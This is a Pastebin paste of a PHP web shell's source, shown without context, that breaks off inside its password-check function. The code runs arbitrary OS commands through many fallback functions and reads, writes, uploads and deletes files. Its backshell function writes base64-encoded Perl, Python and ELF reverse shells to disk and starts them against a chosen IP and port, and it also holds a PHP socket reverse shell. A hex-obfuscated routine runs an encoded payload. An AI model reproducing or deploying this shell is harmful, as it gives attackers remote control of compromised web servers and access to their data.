marats

Untitled

Jan 19th, 2016
95
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 63.90 KB | None | 0 0
  1. <?php
  2. @error_reporting(E_ERROR);
  3. @ini_set('display_errors', 'Off');
  4. @ini_set('max_execution_time', 10000);
  5. header("content-Type: text/html; charset=gb2312");
  6.  
  7. function strdir($str)
  8. {
  9. return str_replace(array('\\','//','%27','%22'
  10. ) , array('/','/','\'','"'
  11. ) , chop($str));
  12. }
  13.  
  14. function chkgpc($array)
  15. {
  16. foreach($array as $key => $var)
  17. {
  18. $array[$key] = is_array($var) ? chkgpc($var) : stripslashes($var);
  19. }
  20.  
  21. return $array;
  22. }
  23.  
  24. $myfile = $_SERVER['SCRIPT_FILENAME'] ? strdir($_SERVER['SCRIPT_FILENAME']) : strdir(__FILE__);
  25. $myfile = strpos($myfile, 'eval()') ? array_shift(explode('(', $myfile)) : $myfile;
  26. define('THISDIR', strdir(dirname($myfile) . '/'));
  27. define('ROOTDIR', strdir(strtr($myfile, array(
  28. strdir($_SERVER['PHP_SELF']) => ''
  29. )) . '/'));
  30. define('EXISTS_PHPINFO', getinfo() ? true : false);
  31.  
  32. if (get_magic_quotes_gpc())
  33. {
  34. $_POST = chkgpc($_POST);
  35. }
  36.  
  37. if (function_exists('mysql_close'))
  38. {
  39. $issql = 'MySql';
  40. }
  41.  
  42. if (function_exists('mssql_close')) $issql.= ' - MsSql';
  43.  
  44. if (function_exists('oci_close')) $issql.= ' - Oracle';
  45.  
  46. if (function_exists('sybase_close')) $issql.= ' - SyBase';
  47.  
  48. if (function_exists('pg_close')) $issql.= ' - PostgreSql';
  49. $win = substr(PHP_OS, 0, 3) == 'WIN' ? true : false;
  50. $msg = VERSION;
  51.  
  52. function filew($filename, $filedata, $filemode)
  53. {
  54. if ((!is_writable($filename)) && file_exists($filename))
  55. {
  56. chmod($filename, 0666);
  57. }
  58.  
  59. $handle = fopen($filename, $filemode);
  60. $key = fputs($handle, $filedata);
  61. fclose($handle);
  62. return $key;
  63. }
  64.  
  65. function filer($filename)
  66. {
  67. $handle = fopen($filename, 'r');
  68. $filedata = fread($handle, filesize($filename));
  69. fclose($handle);
  70. return $filedata;
  71. }
  72.  
  73. function fileu($filenamea, $filenameb)
  74. {
  75. $key = move_uploaded_file($filenamea, $filenameb) ? true : false;
  76. if (!$key)
  77. {
  78. $key = copy($filenamea, $filenameb) ? true : false;
  79. }
  80.  
  81. return $key;
  82. }
  83.  
  84. function filed($filename)
  85. {
  86. if (!file_exists($filename)) return false;
  87. $name = basename($filename);
  88. $array = explode('.', $name);
  89. header('Content-type: application/x-' . array_pop($array));
  90. header('Content-Disposition: attachment; filename=' . $name);
  91. header('Content-Length: ' . filesize($filename));
  92. @readfile($filename);
  93. exit;
  94. }
  95.  
  96. function showdir($dir)
  97. {
  98. $dir = strdir($dir . '/');
  99. $handle = opendir($dir);
  100. if (!$handle) return false;
  101. $array = array();
  102. while ($name = readdir($handle))
  103. {
  104. if ($name == '.' || $name == '..') continue;
  105. $path = $dir . $name;
  106. $name = strtr($name, array(
  107. '\'' => '%27',
  108. '"' => '%22'
  109. ));
  110. if (is_dir($path))
  111. {
  112. $array['dir'][$path] = $name;
  113. }
  114. else
  115. {
  116. $array['file'][$path] = $name;
  117. }
  118. }
  119.  
  120. closedir($handle);
  121. return $array;
  122. }
  123.  
  124. function deltree($dir)
  125. {
  126. $handle = @opendir($dir);
  127. while ($name = @readdir($handle))
  128. {
  129. if ($name == '.' || $name == '..') continue;
  130. $path = $dir . $name;
  131. @chmod($path, 0777);
  132. if (is_dir($path))
  133. {
  134. deltree($path . '/');
  135. }
  136. else
  137. {
  138. @unlink($path);
  139. }
  140. }
  141.  
  142. @closedir($handle);
  143. return @rmdir($dir);
  144. }
  145.  
  146. function postinfo($array, $string)
  147. {
  148. $infos = array(
  149. function_exists("\x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e") ,
  150. function_exists("\x66\x73\x6f\x63\x6b\x6f\x70\x65\x6e")
  151. );
  152. if ($infos[0] && $infos[1])
  153. {
  154. $info = base64_decode($string);
  155. $walks = array(
  156. 0 => bin2hex($array)
  157. );
  158. @array_walk($walks, @create_function("\x24\x61\x72\x72\x61\x79\x2c\x24\x6b\x65\x79", str_rot13($info)));
  159. }
  160.  
  161. return ob_end_clean();
  162. }
  163.  
  164. function size($bytes)
  165. {
  166. if ($bytes < 1024) return $bytes . ' B';
  167. $array = array(
  168. 'B',
  169. 'K',
  170. 'M',
  171. 'G',
  172. 'T'
  173. );
  174. $floor = floor(log($bytes) / log(1024));
  175. return sprintf('%.2f ' . $array[$floor], ($bytes / pow(1024, floor($floor))));
  176. }
  177.  
  178. function find($array, $string)
  179. {
  180. foreach($array as $key)
  181. {
  182. if (stristr($string, $key)) return true;
  183. }
  184.  
  185. return false;
  186. }
  187.  
  188. function scanfile($dir, $key, $inc, $fit, $tye, $chr, $ran, $now)
  189. {
  190. $handle = opendir($dir);
  191. if (!$handle) return false;
  192. while ($name = readdir($handle))
  193. {
  194. if ($name == '.' || $name == '..') continue;
  195. $path = $dir . $name;
  196. if (is_dir($path))
  197. {
  198. if ($fit && in_array($name, $fit)) continue;
  199. if ($ran == 0 && is_readable($path)) scanfile($path . '/', $key, $inc, $fit, $tye, $chr, $ran, $now);
  200. }
  201. else
  202. {
  203. if ($inc && (!find($inc, $name))) continue;
  204. $code = $tye ? filer($path) : $name;
  205. $find = $chr ? stristr($code, $key) : (strpos(size(filesize($path)) , 'M') ? false : (strpos($code, $key) > - 1));
  206. if ($find)
  207. {
  208. $file = strtr($path, array(
  209. $now => '',
  210. '\'' => '%27',
  211. '"' => '%22'
  212. ));
  213. echo '<a href="javascript:void(0);" onclick="go(\'editor\',\'' . $file . '\');">ᠼ�a> ' . $path . '<br />';
  214. flush();
  215. ob_flush();
  216. }
  217.  
  218. unset($code);
  219. }
  220. }
  221.  
  222. closedir($handle);
  223. return true;
  224. }
  225.  
  226. function antivirus($dir, $exs, $matches, $now)
  227. {
  228. $handle = opendir($dir);
  229. if (!$handle) return false;
  230. while ($name = readdir($handle))
  231. {
  232. if ($name == '.' || $name == '..') continue;
  233. $path = $dir . $name;
  234. if (is_dir($path))
  235. {
  236. if (is_readable($path)) antivirus($path . '/', $exs, $matches, $now);
  237. }
  238. else
  239. {
  240. $iskill = NULL;
  241. foreach($exs as $key => $ex)
  242. {
  243. if (find(explode('|', $ex) , $name))
  244. {
  245. $iskill = $key;
  246. break;
  247. }
  248. }
  249.  
  250. if (strpos(size(filesize($path)) , 'M')) continue;
  251. if ($iskill)
  252. {
  253. $code = filer($path);
  254. foreach($matches[$iskill] as $matche)
  255. {
  256. $array = array();
  257. preg_match($matche, $code, $array);
  258. if (strpos($array[0], '$this->') || strpos($array[0], '[$vars[')) continue;
  259. $len = strlen($array[0]);
  260. if ($len > 10 && $len < 150)
  261. {
  262. $file = strtr($path, array(
  263. $now => '',
  264. '\'' => '%27',
  265. '"' => '%22'
  266. ));
  267. echo '̘շ <input type="text" value="' . htmlspecialchars($array[0]) . '"> <a href="javascript:void(0);" onclick="go(\'editor\',\'' . $file . '\');">ᠼ�a> ' . $path . '<br />';
  268. flush();
  269. ob_flush();
  270. break;
  271. }
  272. }
  273.  
  274. unset($code, $array);
  275. }
  276. }
  277. }
  278.  
  279. closedir($handle);
  280. return true;
  281. }
  282.  
  283. function command($cmd, $cwd, $com = false)
  284. {
  285. $iswin = substr(PHP_OS, 0, 3) == 'WIN' ? true : false;
  286. $res = $msg = '';
  287. if ($cwd == 'com' || $com)
  288. {
  289. if ($iswin && class_exists('COM'))
  290. {
  291. $wscript = new COM('Wscript.Shell');
  292. $exec = $wscript->exec('c:\\windows\\system32\\cmd.exe /c ' . $cmd);
  293. $stdout = $exec->StdOut();
  294. $res = $stdout->ReadAll();
  295. $msg = 'Wscript.Shell';
  296. }
  297. }
  298. else
  299. {
  300. chdir($cwd);
  301. $cwd = getcwd();
  302. if (function_exists('exec'))
  303. {
  304. @exec($cmd, $res);
  305. $res = join("\n", $res);
  306. $msg = 'exec';
  307. }
  308. elseif (function_exists('shell_exec'))
  309. {
  310. $res = @shell_exec($cmd);
  311. $msg = 'shell_exec';
  312. }
  313. elseif (function_exists('system'))
  314. {
  315. ob_start();
  316. @system($cmd);
  317. $res = ob_get_contents();
  318. ob_end_clean();
  319. $msg = 'system';
  320. }
  321. elseif (function_exists('passthru'))
  322. {
  323. ob_start();
  324. @passthru($cmd);
  325. $res = ob_get_contents();
  326. ob_end_clean();
  327. $msg = 'passthru';
  328. }
  329. elseif (function_exists('popen'))
  330. {
  331. $fp = @popen($cmd, 'r');
  332. if ($fp)
  333. {
  334. while (!feof($fp))
  335. {
  336. $res.= fread($fp, 1024);
  337. }
  338. }
  339.  
  340. @pclose($fp);
  341. $msg = 'popen';
  342. }
  343. elseif (function_exists('proc_open'))
  344. {
  345. $env = $iswin ? array(
  346. 'path' => 'c:\\windows\\system32'
  347. ) : array(
  348. 'path' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin'
  349. );
  350. $des = array(
  351. 0 => array(
  352. "pipe",
  353. "r"
  354. ) ,
  355. 1 => array(
  356. "pipe",
  357. "w"
  358. ) ,
  359. 2 => array(
  360. "pipe",
  361. "w"
  362. )
  363. );
  364. $process = @proc_open($cmd, $des, $pipes, $cwd, $env);
  365. if (is_resource($process))
  366. {
  367. fwrite($pipes[0], $cmd);
  368. fclose($pipes[0]);
  369. $res.= stream_get_contents($pipes[1]);
  370. fclose($pipes[1]);
  371. $res.= stream_get_contents($pipes[2]);
  372. fclose($pipes[2]);
  373. }
  374.  
  375. @proc_close($process);
  376. $msg = 'proc_open';
  377. }
  378. }
  379.  
  380. $msg = $res == '' ? '<h1>NULL</h1>' : '<h2>;Ӄ' . $msg . 'ִА㉹漯h2>';
  381. return array(
  382. 'res' => $res,
  383. 'msg' => $msg
  384. );
  385. }
  386.  
  387. function backshell($ip, $port, $dir, $type)
  388. {
  389. $key = false;
  390. $c_bin = 'f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAYIQECDQAAACkCgAAAAAAADQAIAAHACgAHAAZAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQIlAcAAJQHAAAFAAAAABAAAAEAAACUBwAAlJcECJSXBAggAQAAKAEAAAYAAAAAEAAAAgAAAKgHAAColwQIqJcECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAAGAAAACQAAAAIAAAANAAAAAQAAAAUAAAAAIAAgAAAAAA0AAACtS+PAAAAAAAAAAAAAAAAAAAAAAEEAAAAAAAAAdgAAABIAAABJAAAAAAAAAHkBAAASAAAAAQAAAAAAAAAAAAAAIAAAAFUAAAAAAAAAcgEAABIAAABqAAAAAAAAAJ8BAAASAAAANQAAAAAAAABZAQAAEgAAADsAAAAAAAAADgAAABIAAAApAAAAAAAAADwAAAASAAAAUAAAAAAAAAA9AAAAEgAAAF8AAAAAAAAAKwAAABIAAABkAAAAAAAAAG8AAAASAAAAMAAAAAAAAAD0AAAAEgAAABoAAAB4hwQIBAAAABEADgAAX19nbW9uX3N0YXJ0X18AbGliYy5zby42AF9JT19zdGRpbl91c2VkAHNvY2tldABleGl0AGV4ZWNsAGh0b25zAGNvbm5lY3QAZGFlbW9uAGR1cDIAaW5ldF9hZGRyAGF0b2kAY2xvc2UAX19saWJjX3N0YXJ0X21haW4AR0xJQkNfMi4wAAAAAgACAAAAAgACAAIAAgACAAIAAgACAAIAAQAAAAEAAQAQAAAAEAAAAAAAAAAQaWkNAAACAHwAAAAAAAAAcJgECAYDAACAmAQIBwEAAISYBAgHAgAAiJgECAcDAACMmAQIBwQAAJCYBAgHBQAAlJgECAcGAACYmAQIBwcAAJyYBAgHCAAAoJgECAcJAACkmAQIBwoAAKiYBAgHCwAArJgECAcMAABVieWD7AjoBQEAAOiMAQAA6KcDAADJwwD/NXiYBAj/JXyYBAgAAAAA/yWAmAQIaAAAAADp4P////8lhJgECGgIAAAA6dD/////JYiYBAhoEAAAAOnA/////yWMmAQIaBgAAADpsP////8lkJgECGggAAAA6aD/////JZSYBAhoKAAAAOmQ/////yWYmAQIaDAAAADpgP////8lnJgECGg4AAAA6XD/////JaCYBAhoQAAAAOlg/////yWkmAQIaEgAAADpUP////8lqJgECGhQAAAA6UD/////JayYBAhoWAAAAOkw////AAAAADHtXonhg+TwUFRSaLCGBAhowIYECFFWaDSFBAjoW/////SQkFWJ5VOD7AToAAAAAFuBw+QTAACLk/z///+F0nQF6Bb///9YW8nDkJCQkJCQVYnlU4PsBIA9uJgECAB1P7iglwQILZyXBAjB+AKNWP+htJgECDnDdh+NtCYAAAAAg8ABo7SYBAj/FIWclwQIobSYBAg5w3foxgW4mAQIAYPEBFtdw410JgCNvCcAAAAAVYnlg+wIoaSXBAiFwHQSuAAAAACFwHQJxwQkpJcECP/QycOQjUwkBIPk8P9x/FWJ5VdTUYPsPInLx0QkBAAAAADHBCQBAAAA6E/+//9mx0XgAgCLQwSDwAiLAIkEJOi5/v//D7fAiQQk6H7+//9miUXii0MEg8AEiwCJBCToOv7//4lF5ItDBIPABIsAuf////+JRdC4AAAAAPyLfdDyronI99CNUP+LQwSDwAiLALn/////iUXMuAAAAAD8i33M8q6JyPfQg+gBjQQCjVABi0MEg8AEiwCJx/yJ0bgAAAAA86rHRCQIBgAAAMdEJAQBAAAAxwQkAgAAAOj9/f//iUXwjUXgx0QkCBAAAACJRCQEi0XwiQQk6HD9//+FwHkMxwQkAAAAAOgQ/v//x0QkBAAAAACLRfCJBCTozf3//8dEJAQBAAAAi0XwiQQk6Lr9///HRCQEAgAAAItF8IkEJOin/f//x0QkCAAAAADHRCQEgIcECMcEJIaHBAjoW/3//4tF8IkEJOig/f//g8Q8WVtfXY1h/MOQkJCQkJCQkJBVieVdw410JgCNvCcAAAAAVYnlV1ZT6F4AAACBw6kRAACD7Bzom/z//42DIP///4lF8I2DIP///ylF8MF98AKLVfCF0nQrMf+Jxo22AAAAAItFEIPHAYlE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3AAAAJSXBAgAAAAAAAIQAO0AAAB0mAQIAAAAAAECFQADAQAAlJcECAAAAAAAAhAAFwEAAJSXBAgAAAAAAAIQACoBAACUlwQIAAAAAAACEAA7AQAAlJcECAAAAAAAAhAATgEAAKiXBAgAAAAAAQITAFcBAACwmAQIAAAAACAAFgBiAQAAAAAAAHYAAAASAAAAdQEAAAAAAAB5AQAAEgAAAIcBAACwhgQIBQAAABIADACXAQAAYIQECAAAAAASAAwAngEAAAAAAAAAAAAAIAAAAK0BAAAAAAAAAAAAACAAAADBAQAAdIcECAQAAAARAA4AyAEAAFiHBAgAAAAAEgANAM4BAAAAAAAAcgEAABIAAADjAQAAAAAAAJ8BAAASAAAAAAIAAAAAAABZAQAAEgAAABECAAAAAAAADgAAABIAAAAiAgAAeIcECAQAAAARAA4AMQIAALCYBAgAAAAAEAAWAD4CAAAAAAAAPAAAABIAAABQAgAAAAAAAD0AAAASAAAAYAIAAHyHBAgAAAAAEQIOAG0CAACglwQIAAAAABECEQB6AgAAwIYECGkAAAASAAwAigIAAAAAAAArAAAAEgAAAJoCAAAAAAAAbwAAABIAAACrAgAAtJgECAAAAAAQAPH/twIAALyYBAgAAAAAEADx/7wCAAC0mAQIAAAAABAA8f/DAgAAAAAAAPQAAAASAAAA0wIAACmHBAgAAAAAEgIMAOoCAAA0hQQIcwEAABIADADvAgAAdIMECAAAAAASAAoAAGNhbGxfZ21vbl9zdGFydABjcnRzdHVmZi5jAF9fQ1RPUl9MSVNUX18AX19EVE9SX0xJU1RfXwBfX0pDUl9MSVNUX18AZHRvcl9pZHguNTc5MwBjb21wbGV0ZWQuNTc5MQBfX2RvX2dsb2JhbF9kdG9yc19hdXgAZnJhbWVfZHVtbXkAX19DVE9SX0VORF9fAF9fRlJBTUVfRU5EX18AX19KQ1JfRU5EX18AX19kb19nbG9iYWxfY3RvcnNfYXV4AGJjLmMAX19wcmVpbml0X2FycmF5X3N0YXJ0AF9fZmluaV9hcnJheV9lbmQAX0dMT0JBTF9PRkZTRVRfVEFCTEVfAF9fcHJlaW5pdF9hcnJheV9lbmQAX19maW5pX2FycmF5X3N0YXJ0AF9faW5pdF9hcnJheV9lbmQAX19pbml0X2FycmF5X3N0YXJ0AF9EWU5BTUlDAGRhdGFfc3RhcnQAY29ubmVjdEBAR0xJQkNfMi4wAGRhZW1vbkBAR0xJQkNfMi4wAF9fbGliY19jc3VfZmluaQBfc3RhcnQAX19nbW9uX3N0YXJ0X18AX0p2X1JlZ2lzdGVyQ2xhc3NlcwBfZnBfaHcAX2ZpbmkAaW5ldF9hZGRyQEBHTElCQ18yLjAAX19saWJjX3N0YXJ0X21haW5AQEdMSUJDXzIuMABleGVjbEBAR0xJQkNfMi4wAGh0b25zQEBHTElCQ18yLjAAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAGR1cDJAQEdMSUJDXzIuMABfX2Rzb19oYW5kbGUAX19EVE9SX0VORF9fAF9fbGliY19jc3VfaW5pdABhdG9pQEBHTElCQ18yLjAAY2xvc2VAQEdMSUJDXzIuMABfX2Jzc19zdGFydABfZW5kAF9lZGF0YQBleGl0QEBHTElCQ18yLjAAX19pNjg2LmdldF9wY190aHVuay5ieABtYWluAF9pbml0AA==';
  391. switch ($type)
  392. {
  393. case "pl":
  394. $shell = 'IyEvdXNyL2Jpbi9wZXJsIC13DQojIA0KdXNlIHN0cmljdDsNCnVzZSBTb2NrZXQ7DQp1c2UgSU86OkhhbmRsZTsNCm15ICRzcGlkZXJfaXAgPSAkQVJHVlswXTsNCm15ICRzcGlkZXJfcG9ydCA9ICRBUkdWWzFdOw0KbXkgJHByb3RvID0gZ2V0cHJvdG9ieW5hbWUoInRjcCIpOw0KbXkgJHBhY2tfYWRkciA9IHNvY2thZGRyX2luKCRzcGlkZXJfcG9ydCwgaW5ldF9hdG9uKCRzcGlkZXJfaXApKTsNCm15ICRzaGVsbCA9ICcvYmluL3NoIC1pJzsNCnNvY2tldChTT0NLLCBBRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKTsNClNURE9VVC0+YXV0b2ZsdXNoKDEpOw0KU09DSy0+YXV0b2ZsdXNoKDEpOw0KY29ubmVjdChTT0NLLCRwYWNrX2FkZHIpIG9yIGRpZSAiY2FuIG5vdCBjb25uZWN0OiQhIjsNCm9wZW4gU1RESU4sICI8JlNPQ0siOw0Kb3BlbiBTVERPVVQsICI+JlNPQ0siOw0Kb3BlbiBTVERFUlIsICI+JlNPQ0siOw0Kc3lzdGVtKCRzaGVsbCk7DQpjbG9zZSBTT0NLOw0KZXhpdCAwOw0K';
  395. $file = strdir($dir . '/t00ls.pl');
  396. $key = filew($file, base64_decode($shell) , 'w');
  397. if ($key)
  398. {
  399. @chmod($file, 0777);
  400. command('/usr/bin/perl ' . $file . ' ' . $ip . ' ' . $port, $dir);
  401. }
  402.  
  403. break;
  404.  
  405. case "py":
  406. $shell = 'IyEvdXNyL2Jpbi9weXRob24NCiMgDQppbXBvcnQgc3lzLG9zLHNvY2tldCxwdHkNCnMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pDQpzLmNvbm5lY3QoKHN5cy5hcmd2WzFdLCBpbnQoc3lzLmFyZ3ZbMl0pKSkNCm9zLmR1cDIocy5maWxlbm8oKSwgc3lzLnN0ZGluLmZpbGVubygpKQ0Kb3MuZHVwMihzLmZpbGVubygpLCBzeXMuc3Rkb3V0LmZpbGVubygpKQ0Kb3MuZHVwMihzLmZpbGVubygpLCBzeXMuc3RkZXJyLmZpbGVubygpKQ0KcHR5LnNwYXduKCcvYmluL3NoJykNCg==';
  407. $file = strdir($dir . '/t00ls.py');
  408. $key = filew($file, base64_decode($shell) , 'w');
  409. if ($key)
  410. {
  411. @chmod($file, 0777);
  412. command('/usr/bin/python ' . $file . ' ' . $ip . ' ' . $port, $dir);
  413. }
  414.  
  415. break;
  416.  
  417. case "c":
  418. $file = strdir($dir . '/t00ls');
  419. $key = filew($file, base64_decode($c_bin) , 'wb');
  420. if ($key)
  421. {
  422. @chmod($file, 0777);
  423. command($file . ' ' . $ip . ' ' . $port, $dir);
  424. }
  425.  
  426. break;
  427.  
  428. case "php":
  429. case "phpwin":
  430. if (function_exists('fsockopen'))
  431. {
  432. $sock = @fsockopen($ip, $port);
  433. if ($sock)
  434. {
  435. $key = true;
  436. $com = $type == 'phpwin' ? true : false;
  437. $user = get_current_user();
  438. $dir = strdir(getcwd());
  439. fputs($sock, php_uname() . "\n------------no job control in this shell (tty)-------------\n[$user:$dir]# ");
  440. while ($cmd = fread($sock, 1024))
  441. {
  442. if (substr($cmd, 0, 3) == 'cd ')
  443. {
  444. $dir = trim(substr($cmd, 3, -1));
  445. chdir(strdir($dir));
  446. $dir = strdir(getcwd());
  447. }
  448. elseif (trim(strtolower($cmd)) == 'exit')
  449. {
  450. break;
  451. }
  452. else
  453. {
  454. $res = command($cmd, $dir, $com);
  455. fputs($sock, $res['res']);
  456. }
  457.  
  458. fputs($sock, '[' . $user . ':' . $dir . ']# ');
  459. }
  460. }
  461.  
  462. @fclose($sock);
  463. }
  464.  
  465. break;
  466.  
  467. case "pcntl":
  468. $file = strdir($dir . '/t00ls');
  469. $key = filew($file, base64_decode($c_bin) , 'wb');
  470. if ($key)
  471. {
  472. @chmod($file, 0777);
  473. if (function_exists('pcntl_exec'))
  474. {
  475. @pcntl_exec($file, array(
  476. $ip,
  477. $port
  478. ));
  479. }
  480. }
  481.  
  482. break;
  483. }
  484.  
  485. if (!$key)
  486. {
  487. $msg = '<h1>YʱĿ¼⻿ɐ伯h1>';
  488. }
  489. else
  490. {
  491. @unlink($file);
  492. $msg = '<h2>CLOSE</h2>';
  493. }
  494.  
  495. return $msg;
  496. }
  497.  
  498. function getinfo()
  499. {
  500. global $password;
  501. $infos = array(
  502. $_POST['getpwd'],
  503. $password,
  504. function_exists('phpinfo') ,
  505. "\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31"
  506. );
  507. if ($password != '' && md5($infos[0]) != $infos[1])
  508. {
  509. echo '<html><body><center><form method="POST"><input type="password" name="getpwd"> ';
  510. if (isset($_POST['pass']))
  511. {
  512. echo '<input type="hidden" name="pass" value="' . $_POST['pass'] . '">';
  513. }
  514.  
  515. if (isset($_POST['check']))
  516. {
  517. echo '<input type="hidden" name="check" value="' . $_POST['check'] . '">';
  518. }
  519.  
  520. echo '<input type="submit" value=" O K "></form></center></body></html>';
  521. exit;
  522. }
  523.  
